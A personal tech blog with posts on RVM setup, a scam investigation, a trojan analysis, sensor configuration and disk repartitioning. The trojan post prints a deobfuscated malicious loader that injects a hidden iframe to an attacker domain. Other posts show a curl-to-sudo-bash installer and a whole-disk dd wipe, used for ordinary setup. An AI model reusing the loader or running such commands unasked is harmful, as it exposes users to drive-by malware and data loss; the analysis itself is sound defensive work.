Installing multi-user Ruby with RVM
Tuesday, November 24. 2015
I needed to run some Ruby-code in my Fedora-box, but the RPM-packaged version wasn't a decent or recent one. Since it is standard procedure and native to Ruby programming language to use Ruby version manager (or RVM), it also opens immense possibilities of running any existing Ruby version in same machine without the versions colliding with each other, this is definitely something that people need to know how to do.
There is plenty of good information about this in the net, for example How to Install Ruby 2.1.2 on CentOS & RHEL using RVM. However, the definite source is of course Installing RVM manual at RVM.io.
When it comes to multi-user installations, docs say "For server administrators - For an installation usable by all users on the system - This also used to be called the System-Wide Install. Using this type of installation without knowledge how umask works is a big security risk". RVM has a very simple filesystem permission -based security model, which will collapes if umask is not set correctly in multi-user mode. However, the worst-case scenarios include some gems have incorrect permissions set and only the user how installed it can un-install. Ultimate worst-case scenario is, that people not belogning to rvm-group can install and un-install modules. In a system-wide setup other people tampering with critical resources can be fatal, hence the obligatory warnings.
My case is much simpler, I need the same stuff for myself to develop with and for the system to run with. That's how I know I develop, test and run the same libraries. I wouldn't dream on sharing the stuff with other persons and calling that secure.
Back to setup of my RVM, current ruby version information:
$ ruby -v
ruby 2.0.0p353 (2013-11-22 revision 43784) [x86_64-linux]
To start the installation, a simple one-liner will do:
$ curl -sSL http://get.rvm.io | sudo bash -s stable -- --ignore-dotfiles
It will download the latest stable installer bash-script and immediately execute it with flag not to use user's own files. This is more suitable for machine-wide mode. The really important thing is to use sudo. Installation will fail to setup correctly, if doing it as root. Another security warning here: you will be trusting blindly on something you downloaded from the web. Hey! They call it open-source. 
The installation will work only on Bourne shells. I'd recommend using Bash with all RVM-operations. The installer will say something like this:
Downloading https://github.com/rvm/rvm/archive/master.tar.gz
Creating group 'rvm'
Installing RVM to /usr/local/rvm/
Installation of RVM in /usr/local/rvm/ is almost complete:
First you need to add all users that will be using rvm to 'rvm' group,
and logout - login again, anyone using rvm will be operating with `umask u=rwx,g=rwx,o=rx`.
To start using RVM you need to run `source /etc/profile.d/rvm.sh`
in all your open shell windows, in rare cases you need to reopen all shell windows.
# Thank you for using RVM!
# We sincerely hope that RVM helps to make your life easier and more enjoyable!!!
#
# ~Wayne, Michal & team.
In case of problems: http://rvm.io/help and https://twitter.com/rvm_io
If your system didn't have an user group called rvm, it does now. As the instructions say, it's your task now to assign users to that group. You can do it like this:
$ getent group rvm
rvm:x:983:
Your group ID will change, of course. Add your user to this new group like this (I'm doing it as root, sudo will do the trick also):
# usermod -a -G rvm joeuser
# getent group rvm
rvm:x:983:joeuser
Yet again, the instructions above say, that this addition will NOT take effect until one of these happens:
- User logs in. If you're adding yourself, log out first.
newgrp-command is issued, newgrp(1) - Linux man page
RVM installer will add a file into /etc/profile.d/ to do some settings at login:
-rwxr-xr-x. 1 root root 1203 Nov 23 19:39 /etc/profile.d/rvm.sh
If you need to have the settings in effect, all you need to do is source it:
$ source /etc/profile.d/rvm.sh
Anyway, now the rig is ready, we only need an installed Ruby version to get the ball rolling. To get an idea what's out there, get a list of all available Rubies there are:
$ rvm list known
# MRI Rubies
[ruby-]1.8.6[-p420]
[ruby-]1.8.7[-head] # security released on head
[ruby-]1.9.1[-p431]
[ruby-]1.9.2[-p330]
[ruby-]1.9.3[-p551]
[ruby-]2.0.0[-p647]
[ruby-]2.1[.7]
[ruby-]2.2[.3]
[ruby-]2.2-head
ruby-head
I'm urging to go for the install, but my first install attempt stalled on some missing libraries. There was a prompt asking for my password, but I chose not to enter my personal password to a script. So:
# yum install libyaml-devel readline-devel libffi-devel sqlite-devel
When those landed, let's go for an install:
$ rvm install ruby-2.1.7
The installer will output a lot, some of it is:
Searching for binary rubies, this might take some time.
No binary rubies available for: fedora/20/x86_64/ruby-2.1.7.
Continuing with compilation. Please read 'rvm help mount'
to get more information on binary rubies.
Checking requirements for fedora.
Requirements installation successful.
Installing Ruby from source to: /usr/local/rvm/rubies/ruby-2.1.7,
this may take a while depending on your cpu(s)...
ruby-2.1.7 - #downloading ruby-2.1.7,
this may take a while depending on your connection...
ruby-2.1.7 - #extracting ruby-2.1.7 to /usr/local/rvm/src/ruby-2.1.7....
ruby-2.1.7 - #configuring...
ruby-2.1.7 - #post-configuration..
ruby-2.1.7 - #compiling...
ruby-2.1.7 - #installing...
ruby-2.1.7 - #making binaries executable..
ruby-2.1.7 - #downloading rubygems-2.4.8
ruby-2.1.7 - #extracting rubygems-2.4.8....
ruby-2.1.7 - #removing old rubygems.........
ruby-2.1.7 - #installing rubygems-2.4.8...
ruby-2.1.7 - #gemset created /usr/local/rvm/gems/ruby-2.1.7@global
ruby-2.1.7 - #importing gemset /usr/local/rvm/gemsets/global.gems...
ruby-2.1.7 - #generating global wrappers........
ruby-2.1.7 - #gemset created /usr/local/rvm/gems/ruby-2.1.7
ruby-2.1.7 - #importing gemsetfile /usr/local/rvm/gemsets/default.gems
evaluated to empty gem list
ruby-2.1.7 - #generating default wrappers........
ruby-2.1.7 - #adjusting #shebangs for (gem irb erb ri rdoc testrb rake).
Install of ruby-2.1.7 - #complete
Ruby was built without documentation,
to build it run: rvm docs generate-ri
But ultimately, you're good to go:
$ ruby -v
ruby 2.1.7p400 (2015-08-18 revision 51632) [x86_64-linux]
To get back to my original task, I installed a gem:
$ gem install davclient
Fetching: davclient-0.0.8.gem (100%)
Successfully installed davclient-0.0.8
Parsing documentation for davclient-0.0.8
Installing ri documentation for davclient-0.0.8
Done installing documentation for davclient after 0 seconds
1 gem installed
That's it! Everything is ready.
Apple iPhone 7 giveaway scam
Wednesday, November 18. 2015
Looks like I'm on a roll. I was home watching a movie and while at it, I got interested about an actor in it and his other work in TV. In normal situation, I'd just flip open one of my laptops, but none were at arm's reach. However, my iPad was. For any movie buff like me, the one an only definite site is Internet Movie Database, or IMDb. Their mobile site is pretty good, but I wanted to give their iOS app a go.
The Incident
I installed the app, and went to iOS Safari to google something, which I don't even remember anymore. Pretty much when I opened the Safari something really weird happened (unfortunately for most of the readers, all of this is in Finnish):
My iPad was selected out of 20 Finnish ones, to get a free iPhone 7 in 2016 when it will be released. WTF!!? For a split second, I - a seasoned software security professional, thought "wow, I'm must be really lucky!" Then the experience kicked in: "This is a scam!" At that point I started taking screenshots of everything I saw on the iPad screen.
Once I got rid of the modal alert-box, there were four bogus questions of "Do you own an Apple product?" and about the future features the iPhone 7 should have and the final one about "Do you have an address in Finland which can be used to deliver your iPhone 7?":
After those, there was a fake "check" for eligibility and a smooth transition to customer testimonials page:
The language was horrible all the way. Finnish is a tricky language for anybody else to master in a believable manner. For example the month name "Elvember" doesn't mean anything in Finnish.
Finally, when I clicked the large blue "yes, gimme my free gift" -button, I ended up in even weirder page asking my personal information:
At this point I lost interest. I have no clue, that's their end game and what they would be using my information for, but I simply didn't want to even enter any fake info there.
Question 4 about address may point to some sort of smuggling scam, so that the unfortunate address would be used to send some sort of contraband which the criminals would liberate from mailbox before nobody notices. I have no proof of that happening.
The Injection
At this point, the relevant question was: What the hell happened?
Where did that page arrive into my Safari? Isn't iOS supposed to be the safest mobile OS there is? Is it really that easy to get past security? What did I do wrong to allow this to happen?
The good thing with this was that I was running in my own Wi-Fi. There I have a basic setup to keep me informed what's going on, so to the logfiles I went:
- 18.11.2015 18:22:13: App Store was started, lot of requests made to load data and graphics for it
- 18.11.2015 18:22:18: A search was made to App Store, it was me searching for "imdb"
- 18.11.2015 18:22:49: 14,801,031 bytes were downloaded from Apple's cloud, that was me downloading the IMDb app
- 18.11.2015 18:23:05: Lot of traffic into various resources to initialize the loaded app. Partial list of sites:
- http://ios-app-config.media-imdb.com/6.3.1/ipad.json.gz - iPad configuration in JSON-format from IMDb
- http://b.scorecardresearch.com/ - Market research company
- http://aax-eu.amazon-adsystem.com/ - Amazon, Inc. advertisement system, they own IMDb
- http://ia.media-imdb.com/ - Image server for IMDb
- https://api.imdbws.com - Unknown IMDb server
- https://app.imdb.com - Unknown IMDb server
- https://gsp-ssl.ls.apple.com - Unknown Apple server
- https://fls-na.amazon.com - Unknown Amazon server
- 18.11.2015 18:24:43: Safari was launched,
- http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/ was loaded
- 18.11.2015 18:29:35: Questions were completed
- http://bit.ly1bddlxc.com/click - start of redirecting
- http://trkyad.com/ - middle point
- http://forbrugerpost.dk/campaign/iphone6s/ - personal information form
- done
IMDb app pulled in some garbage and triggered the page load into my Safari. Unbelievable!
If you want to study my movements, here is the logfile:
iPhone7scam-10-squid_access-iPad-abbreviated.log
I have omitted the IPv6 address of my iPad, it will be displayed as 2001::87b4, which is obviously not the address.
Motive and opportunity has already been explained, when it comes to means, the Objective-C code to open a page in iOS Safari from an app would be a single line:
[[UIApplication sharedApplication] openURL:[NSURL URLWithString: [@"apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/"]]];
In my opinion an outside threat is not feasible, this had to be an inside job.
The Facts
A simple kick into Google search engine revealed for example Possible Iphone 7 Scam at Apple discussions. This has been going on since July 2015, at least, possibly earlier.
The page I was forced to go was http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/
Couple of queries for the DNS and ICANN whois:
# host apple.com-freegiveaway.com
apple.com-freegiveaway.com is an alias for com-freegiveaway.com.
com-freegiveaway.com has address 54.194.31.154
com-freegiveaway.com has address 54.77.203.0
com-freegiveaway.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
At the HTML-source of the freegiveaway.com-page, the redirect to the personal information form is at bit.ly1bdDlXc.com, but the actual form is at forbrugerpost.dk, a Danish domain. Querying for those:
# host bit.ly1bdDlXc.com
bit.ly1bdDlXc.com is an alias for h918i.voluumtrk2.com.
h918i.voluumtrk2.com has address 52.28.97.9
h918i.voluumtrk2.com has address 54.93.143.19
# host trkyad.com
trkyad.com has address 198.254.77.23
# host forbrugerpost.dk
forbrugerpost.dk has address 191.235.217.33
forbrugerpost.dk mail is handled by 10 mail.forbrugerpost.dk.
forbrugerpost.dk mail is handled by 100 backup-mx.zitcom.dk.
ly1bdDlXc.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
trkyad.com:
Registrant Contact
Name: H Pieters
Organization: Your Product In Mind
Domain name: forbrugerpost.dk
DNS: forbrugerpost.dk
Status: Active
Created: 2007/11/07
Registrant:
Userid: FA7610-DK
Name: FORBRUGERPOST ApS
Address: Skibbrogade 3, 2.
Zipcode & City: 9000 Aalborg
Country: Danmark
Phone: +4588888484
IP-address owners:
# geoiplookup 54.194.31.154 54.77.203.0 52.28.97.9 54.93.143.19
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, 07, Dublin, Dublin, N/A, 53.333099, -6.248900, 0, 0
GeoIP ASNum Edition: AS16509 Amazon.com, Inc.
# geoiplookup 198.254.77.23
GeoIP Country Edition: US, United States
GeoIP City Edition, Rev 1: US, CA, California, Newport Beach, 92663, 33.626701, -117.931198, 803, 949
GeoIP ASNum Edition: AS19994 Rackspace Hosting
# geoiplookup 191.235.217.33
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, N/A, N/A, N/A, N/A, 53.347801, -6.259700, 0, 0
GeoIP ASNum Edition: AS8075 Microsoft Corporation
Conclusions: services are running in Ireland, Amazon and Microsoft data centers and Rackspace, California. Domains are hidden behind proxies so, that the real owners of the domains are hidden. Even the Danish one is proxy-owned. About the Dutch one registered to Rotterdam, I'm not sure, that could be a real one. They use it only for redirect, maybe because they don't want to burn that so soon.
The Outcome
For the record, I'm talking about IMDb app version 6.3.1:
And there was no way, I was letting that piece of garbage pop up any more stupid questionnaires:
... the app needed to go. I didn't trust it for a second.
As I can almost hear you screaming already: "But you didn't prove, that it was the IMDb app! All of this is merely a coincidencee".
Sure, that's true. Even with my debugging skills, looking exactly at an app and tracing it in detail would take a very long time. Which in this case I didn't do. However, my proof is in the fact, that I haven't installed any apps for weeks. My Safari didn't display that stupid questionnaire page earier that day, but after installing and running the IMDb app, it did. I'm sure nobody really knows what the app loads and executes, I have proven, that it consumes a lot of data through network.
Also, I'm not a big believeer of coincidences:
Mycroft: “Oh Sherlock. What do we say about coincidence?”
Sherlock: “The universe is rarely so lazy.”
... there really aren't any.
Unfortunate encounter with Trojan.JS.Agent.KX
Tuesday, November 17. 2015
I was surfing the other day, and suddenly ding-ding-ding, a warning! I wasn't looking for trouble, but trouble found me, again.
That box makes appearances rarely, but typically I know about it's going to happen. This time I didn't expect that. The site I went to was just a regular one, not one that in any normal circumstances would raise any red flags. My automatic second thought was "a false positive", but there it was:
Based on the scanning reports, it looks like all of the static JavaScript files on that site were infected. A closer look into a file:
function null_check() {
var e = "none";
if ("none" != e) {
var t = document.getElementById(e);
void 0 != typeof t && null != t && (t.outerHTML = "", delete t)
}
}
function browser_version_check() {
return document.all && !document.compatMode ? !0 :
document.all && !window.XMLHttpRequest ? !0 :
document.all && !document.querySelector ? !0 :
document.all && !document.addEventListener ? !0 :
document.all && !window.atob ? !0 :
document.all ? !0 :
"undefined" != typeof navigator.maxTouchPoints &&
!document.all &&
ie_check() ? !0 : !1
}
function ie_check() {
var e = window.navigator.userAgent,
t = e.indexOf("MSIE ");
if (t > 0) return parseInt(e.substring(t + 5, e.indexOf(".", t)), 10);
var i = e.indexOf("Trident/");
if (i > 0) {
var n = e.indexOf("rv:");
return parseInt(e.substring(n + 3, e.indexOf(".", n)), 10)
}
var o = e.indexOf("Edge/");
return o > 0 ? parseInt(e.substring(o + 5, e.indexOf(".", o)), 10) : !1
}
function user_agent_check() {
var e = window.navigator.userAgent.toLowerCase();
return /(android|bb\d+|meego).+mobile|/i.test(e.substr(0, 4)) ? !0 : !1
}
var intervalTimer = setInterval(function() {
if (null != document.body && "undefined" != typeof document.body) {
if (clearInterval(intervalTimer), "undefined" == typeof window.loaded_into_this_window) {
window.loaded_into_this_window = 1;
var e = ie_check() && browser_version_check(),
t = !e && !!window.chrome && "Google Inc." === window.navigator.vendor,
i = -1,
n = "http://hjjdgwtwgfgfdg.tk/052F";
if (user_agent_check() && 1 == i)
navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPod/i) ?
location.replace(n) : (window.location = n, document.location = n);
else if (e && !t && !user_agent_check()) {
var o = '<div style="position:absolute;left:-3532px;"><iframe width="10px" src="' +
n + '" height="10px"></iframe></div>',
a = document.getElementsByTagName("div");
if (0 == a.length) document.body.innerHTML = document.body.innerHTML + o;
else {
var d = a.length,
r = Math.floor(d / 2);
a[r].innerHTML = a[r].innerHTML + o
}
}
}
null_check()
}
}, 100);
Quite simple piece of code. It was heavily packed, so I beautified it and renamed the obfuscated function names and variables. The regexp for user agent detection was a mile long, so I shortened it by about 2000 characters. Anyway, the basic functionality of the code is to create a timer for 100 milliseconds, which when triggered on a non-mobile client create a hidden IFRAME 3532 pixels left of the user agent's viewport containing web page from http://hjjdgwtwgfgfdg.tk/052F ... which to my disappointment was already taken down. So, I didn't get to see what the actual payload was. The above code is only a loader, a means to lure the actual trojan into your box. I guess it would contain some sort of exploit in it, but as I said: some nice person already took that domain down.
How the trojan loader was injected was a no-brainer. A simple HTTP-request for /readme.html indicated, that the site was running WordPress 4.3.1, which at the time of investigating was the latest stable release. The server is running a Debian 6, a way outdated Linux distro released in February 2011 reaching end-of-life in couple of months. The thing is: Wordpress is a leaky bucket having constant flow of security alerts. Also, I know for a fact, that Debian 6 also has couple of holes here and there. So, points of entry are available for those automated bots injecting the loaders.
Anyway, I ended my investigation happy. My own box reacted as it should and the threat had been taken down already. Also the site in question was taken off-line in a couple of hours after me filing an abuse report to their ISP. All was good for a brief time ... until next incident occurs.
Improving Nuvoton NCT6776 lm_sensors output
Monday, November 16. 2015
Problem
My home Linux-box was outputting more-or-less useless lm_sensor output. Example:
coretemp-isa-0000
Adapter: ISA adapter
Physical id 0: +36.0°C (high = +80.0°C, crit = +98.0°C)
Core 0: +34.0°C (high = +80.0°C, crit = +98.0°C)
Core 1: +31.0°C (high = +80.0°C, crit = +98.0°C)
Core 2: +36.0°C (high = +80.0°C, crit = +98.0°C)
Core 3: +33.0°C (high = +80.0°C, crit = +98.0°C)
nct6776-isa-0290
Adapter: ISA adapter
Vcore: +0.97 V (min = +0.00 V, max = +1.74 V)
in1: +1.02 V (min = +0.00 V, max = +0.00 V) ALARM
AVCC: +3.33 V (min = +2.98 V, max = +3.63 V)
+3.3V: +3.31 V (min = +2.98 V, max = +3.63 V)
in4: +1.01 V (min = +0.00 V, max = +0.00 V) ALARM
in5: +2.04 V (min = +0.00 V, max = +0.00 V) ALARM
in6: +0.84 V (min = +0.00 V, max = +0.00 V) ALARM
3VSB: +3.42 V (min = +2.98 V, max = +3.63 V)
Vbat: +3.36 V (min = +2.70 V, max = +3.63 V)
fan1: 0 RPM (min = 0 RPM)
fan2: 703 RPM (min = 0 RPM)
fan3: 0 RPM (min = 0 RPM)
fan4: 819 RPM (min = 0 RPM)
fan5: 0 RPM (min = 0 RPM)
SYSTIN: +36.0°C (high = +0.0°C, hyst = +0.0°C) ALARM sensor = thermistor
CPUTIN: -60.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermal diode
AUXTIN: +35.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermistor
PECI Agent 0: +26.0°C (high = +80.0°C, hyst = +75.0°C)
(crit = +88.0°C)
PCH_CHIP_TEMP: +0.0°C
PCH_CPU_TEMP: +0.0°C
PCH_MCH_TEMP: +0.0°C
That's all great and all, but what the heck are in 1, 4-6 and fan 1-5? Are the in 1, 4-6 readings really reliable? Why are there sensors with 0 RPM readings? CPUTIN indicating -60 degrees, really? PCH-temps are all 0, why?
Investigation
In order to get to bottom of all this, let's start from the chip in question. lm_sensors -setup identified it as NCT6776. For some reason Nuvoton doesn't have the data sheet anymore, but by little bit of googling, a PDF with title NCT6776F / NCT6776D Nuvoton LPC I/O popped up.
Analog inputs:
Following information can be found:
It contains following analog inputs:
- AVCC
- VBAT
- 3VSB
- 3VCC
- CPUVCORE
- VIN0
- VIN1
- VIN2
- VIN3
The good thing is, that first 5 of them are clearly labeled, but inputs 0 through 3 are not. They can be pretty much anything.
Revolution Pulse counters:
When it comes to RPM-readings, following information is available:
That lists following inputs:
- SYSFANIN
- CPUFANIN
- AUXFANIN0
- AUXFANIN1
- AUXFANIN2
Looks like all of those have connectors on my motherboard.
Temperature Sources:
For the temperature measurements, the chip has:
The analog temperature inputs are:
- SMIOVT1
- SMIOVT2
- SMIOVT3
- SMIOVT4
- SMIOVT5
- SMIOVT6
According to the above table, they're mapped into AUXTIN, CPUTIN and SYSTIN.
Also on top of those, there is PECI (Platform Environment Control Interface). A definition says "PECI is a new digital interface to read the CPU temperature of Intel® CPUs". So, there aren't any analog pins for that, but there are readings available, when questioned.
Configuration
A peek in to /etc/sensors3.conf at the definition of the chip shows:
chip "w83627ehf-*" "w83627dhg-*" "w83667hg-*" "nct6775-*" "nct6776-*"
label in0 "Vcore"
label in2 "AVCC"
label in3 "+3.3V"
label in7 "3VSB"
label in8 "Vbat"
set in2_min 3.3 * 0.90
set in2_max 3.3 * 1.10
set in3_min 3.3 * 0.90
set in3_max 3.3 * 1.10
set in7_min 3.3 * 0.90
set in7_max 3.3 * 1.10
set in8_min 3.0 * 0.90
set in8_max 3.3 * 1.10
And that's all. I guess that would be ok for the generic case, but in my particular box that list of settings doesn't cover half of the inputs.
Solution
Configuration changes
I added following settings for temperature into "chip "w83627ehf-*" "w83627dhg-*" "w83667hg-*" "nct6775-*" "nct6776-*""-section:
label in0 "Vcore"
set in0_min 1.1 * 0.9
set in0_max 1.1 * 1.15
label in1 "+12V"
compute in1 @ * 12, @ / 12
set in1_min 12 * 0.95
set in1_max 12 * 1.1
label in2 "AVCC"
set in2_min 3.3 * 0.95
set in2_max 3.3 * 1.1
label in3 "+3.3V"
set in3_min 3.3 * 0.95
set in3_max 3.3 * 1.1
label in4 "+5V"
compute in4 @ * 5, @ / 5
set in4_min 5 * 0.95
set in4_max 5 * 1.1
ignore in5
ignore in6
label in7 "3VSB"
set in7_min 3.3 * 0.95
set in7_max 3.3 * 1.1
label in8 "Vbat"
set in8_min 3.3 * 0.95
set in8_max 3.3 * 1.1
The obvious problem still stands: what are the undocumented in 1, 4, 5 and 6? Mr. Ian Dobson at Ubuntuforums.org discussion about NCT6776 claims, that in1 is for +12 VDC power and in4 is for +5VDC power. I cannot deny nor confirm that for my board. The Novoton-chip only provides the inputs, but there is absolutely no way of telling how the manufacturer chooses to connect them to various parts of the MoBo. I took the same assumption, so all that was necessary, was to multiply the input data by 12 and 5 to get a proper reading. I don't know what in5 and in6 are for, that's why I remove them from the display. All the other ones are min and max boundaries for the known readings.
The fan settings are machine specific, in my case:
label fan2 "CPU fan"
set fan2_min 200
label fan4 "HDD fan"
set fan4_min 200
ignore fan1
ignore fan3
ignore fan5
As I only have fans connected to 2 out of 5, I'll ignore the not connected ones. For the connected, I set a lower limit of 200 RPM.
Temperatures are motherboard-specific. In my case, I did following additions:
label temp1 "MB"
set temp1_max 38
set temp1_max_hyst 35
label temp3 "CPU"
label temp7 "CPU?"
ignore temp2
ignore temp8
ignore temp9
ignore temp10
The easy part is to remove the values not displaying anything. The hard part is to try to figure out what the measurements indicate. Based on the other readings, temp3 is CPU combined somehow. The other sensor is displaying rougly same values for each core I have there. However, the temp7 is for PECI, but it doesn't behave anything like CPU-temps. It should, but it doesn't. That's why I left a question mark after it.
Resulting output
After the additions, following output is available:
coretemp-isa-0000
Adapter: ISA adapter
Physical id 0: +48.0°C (high = +80.0°C, crit = +98.0°C)
Core 0: +48.0°C (high = +80.0°C, crit = +98.0°C)
Core 1: +40.0°C (high = +80.0°C, crit = +98.0°C)
Core 2: +43.0°C (high = +80.0°C, crit = +98.0°C)
Core 3: +39.0°C (high = +80.0°C, crit = +98.0°C)
nct6776-isa-0290
Adapter: ISA adapter
Vcore: +1.22 V (min = +0.99 V, max = +1.26 V)
+12V: +12.29 V (min = +11.42 V, max = +13.25 V)
AVCC: +3.33 V (min = +3.14 V, max = +3.63 V)
+3.3V: +3.31 V (min = +3.14 V, max = +3.63 V)
+5V: +5.04 V (min = +4.76 V, max = +5.52 V)
3VSB: +3.42 V (min = +3.14 V, max = +3.63 V)
Vbat: +3.38 V (min = +3.14 V, max = +3.63 V)
CPU fan: 912 RPM (min = 200 RPM)
HDD fan: 897 RPM (min = 200 RPM)
MB: +35.0°C (high = +38.0°C, hyst = +35.0°C) sensor = thermistor
CPU: +37.0°C (high = +80.0°C, hyst = +75.0°C) sensor = thermistor
CPU?: +37.0°C (high = +80.0°C, hyst = +75.0°C)
(crit = +88.0°C)
Before taking the readings, I ran sensors -s to set the min/max values.
Now my output starts making sense and I can actually monitor any changes.
PS.
At the time of writing this article, website http://www.lm-sensors.org/ was down for multiple days in a row. I can only hope, that project personnel solves the issue with the web site and it is up at the time you're seeing this.
Advent calendar 2015
Sunday, November 15. 2015
Like last year, I happened to get me an advent calendar this year too. The layout is a classic 24 x 0,5L containing 24 lids for the days in random order:
There seems to be .... erhm.... problems transporting alcohol to Finland, and many European vendors have pulled Finland off their available destinations. Amazon.de still delivers Lieferello goodies to us, so I got my Drinks & Fun Die Weihnachtsbrauerei Bier-Adventskalender. The same thing at Lieferello site would be here.
Now I'm just waiting for the 1st of December.
Update 17th and 28th Dec:
To squash a FAQ: The beers in the calendar are different. It wouldn't make any sense to buy a 24 pack of beers and call it an advent calendar. See:
- Felsgold Premium Pilsener
- Carl Theodor Lager
- Felskrone Premium Pilsener
- Pilsator Pilsener
- Durlacher Hof Weissbier
- Brauburger Premium Pilsener
- Harboe Bear Beer Strong Stout 8%
- Eichbaum Red Beer
- Edel Bayer Urtyp Hell
- Darguner Pilsener
- Kress Bayrisch Zwickel
- Barbarossa Premium Schwarzbier
- 5.0 Original Pils
- Durlacher Hof Weissbier (Hefeweissbier)
- Frankenthaler Germania Premium Strong
- Regenten Pilsener
- Maisel St. Michaelsberg 1122 Premium Pilsener
- König Wilhelm Hefeweissbier
- Mecklenburger Pilsener
- Dinkelacker CD-Pils
- von Raven Pilsener
- Eichbaum Pilsener
- Barbarossa Brauerei Helles Hefeweizen
Replacing physical drive for LVM - pvcreate Can't open /dev exclusively
Sunday, November 8. 2015
This is part 2 of my hard drive upgrade. My previous part was about failure to partition a replaced hard drive with GNU Parted: It was just emitting an error of: "The resulting partition is not properly aligned for best performance"
When I had the drive partitioned properly, I failed to proceed with my setup in a yet another mysterious error. My drives are always using LVM, so that I get more control over the filesystem sizes. To get the new partition into LVM, it needs to be associated with a Volume Group (VG). First step is to inform LVM about new physical drive:
# pvcreate /dev/sda1
Can't open /dev/sda1 exclusively. Mounted filesystem?
Oh really? It's definitely not mounted, but ... somebody is stealing my resource. The root of this problem is obviously on the fact, that there used to be a PV on that partition, but I replaced the drive and partitioned it. It is entirely possible, that LVM likes to fiddle with my new partition somehow.
The device mapper knows about the partition:
# dmsetup ls
Box_vg1-LogVol_wrk2 (253:9)
That's kind of bad. I guess it likes to hold on into it. Further check of:
# pvdisplay
... indicates, that LVM doesn't know about the partition (yet), but Linux kernel does.
An attempt to fix:
# dmsetup remove Box_vg1-LogVol_wrk2
And new attempt:
# pvcreate /dev/sda1
Can't open /dev/sda1 exclusively. Mounted filesystem?
No change. 
Perhaps a strace will provide helpful details of the problem:
# strace pvcreate /dev/sda1
...
stat("/dev/sda1", {st_mode=S_IFBLK|0660, st_rdev=makedev(8, 1), ...}) = 0
stat("/dev/sda1", {st_mode=S_IFBLK|0660, st_rdev=makedev(8, 1), ...}) = 0
open("/dev/sda1", O_RDWR|O_EXCL|O_DIRECT|O_NOATIME) = -1 EBUSY (Device or resource busy)
...
Reading a fragment of OPEN(2) man page:
OPEN(2)
open, openat, creat - open and possibly create a file
O_EXCL Ensure that this call creates the file: if this flag is
specified in conjunction with O_CREAT, and pathname already
exists, then open() will fail.
In general, the behavior of O_EXCL is undefined if it is used
without O_CREAT. There is one exception: on Linux 2.6 and
later, O_EXCL can be used without O_CREAT if pathname refers
to a block device. If the block device is in use by the
system (e.g., mounted), open() fails with the error EBUSY.
... confirms the suspicion, that somebody is holding a handle to the block device. Running lsof(8) or fuser(1) yield nothing. It's not a file-handle, when kernel has your block device as hostage.
My only idea at this point was to do a wimpy Windows-style reboot. The thing is: Linux-men don't reboot on anything, but this time I was out of ideas. I'm sure somewhere there is an IOCTL-call to release the handle, but I couldn't find it easily. So, a reboot was in order.
After the reboot: yes results:
# pvcreate /dev/sda1
Physical volume "/dev/sda1" successfully created
Then I could proceed with my build sequence. Next, associate a Volume Group with the new Pysical Volume. The options would be to to add the drive into an existing VG, or create a new one. I chose the latter:
# vgcreate Box_vg1 /dev/sda1
Volume group "Box_vg1" successfully created
Then create a logical partition, or Logical Volume in LVM-lingo on the newly created VG:
# lvcreate -L 800G -n LogVol_wrk2 Box_vg1
Logical volume "LogVol_wrk2" created
As a physical partition also a LV needs to have a filesystem on it, to be usable for the operating system:
# mkfs.ext4 /dev/Box_vg1/LogVol_wrk2
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 209715200 4k blocks and 52428800 inodes
Filesystem UUID: 93be6c97-3ade-4a62-9403-789f64ef73d0
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968,
102400000
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
Now the drive was ready to be mounted and I had plenty of completely empty space waiting for data to be stored on it.
I plugged in a SATA-USB -dock and started looking for my old data. I intentionally had created a VG with precisely the same name as the old drive had, so there was an obvious collision. My syslog had entries about the pvscan:
Nov 8 16:03:21 pvscan: device-mapper: create ioctl on Box_vg1-LogVol_wrk2 failed: Device or resource busy
Nov 8 16:03:21 pvscan: 0 logical volume(s) in volume group "Box_vg1" now active
Nov 8 16:03:21 pvscan: Box_vg1: autoactivation failed.
Yes, that one I had coming. No autoactivation, as VG names collided. A check:
# vgdisplay
--- Volume group ---
VG Name Box_vg0
...
--- Volume group ---
VG Name Box_vg1
...
--- Volume group ---
VG Name Box_vg1
...
VG UUID trx8sq-2Mtf-2tfa-2m1P-YPGq-cVzA-6fWflU
No surprises there, there were two Volume Groups with exactly same name. To address them, there are unique identifiers or UUIDs. With UUID, it is possible to rename the VG. Like this:
# vgrename trx8sq-2Mtf-2tfa-2m1P-YPGq-cVzA-6fWflU Box_vgold
Volume group "Box_vg1" successfully renamed to "Box_vgold"
Now it would be possible to activate and it would appear on udev:
# vgchange -ay Box_vgold
1 logical volume(s) in volume group "Box_vgold" now active
Now the old data was available at /dev/Box_vgold/LogVol_wrk2 and ready to be mounted and files copied out of it.
Done and mission accomplished! Now I had much more space on a fast drive.
GNU Parted: Solving the dreaded "The resulting partition is not properly aligned for best performance"
Saturday, November 7. 2015
On the other day I was cleaning out junk from my shelfs and found a perfectly good WD Caviar Black hard drive. Obviously in the current SSD-era where your only computer is a laptop and most of your data is stashed into a cloud somewhere, no regular Joe User is using spinning platters.
Hey! I'm not a regular, nor joe. I have a Linux-server running with plenty of capacity in it for my various computing needs. So, the natrural thing to do is to pop out one of the old drives and hook this 1,5 TiB high performing storage monster to replace it. The actual hardware installation on an ATX-case isn't anything worth documenting, but what happens afterwards goes pretty much this sequence: 1) partition the drive, 2) copy all/some of the old data back to it and 3) continue living successfully ever after.
The typical scenario is that something always at least hiccups, if not fails. And as expected, I choked on the 1).
Here goes:
Preparation
The drive had been used previously, and I just wasted the beginning of the drive by writing 10k sectors of nothingness. This will remove all traces of possible partition tables, boot sectors and all the critical metadata of the drive you normally value highly:
# dd if=/dev/zero of=/dev/sda bs=512 count=10000
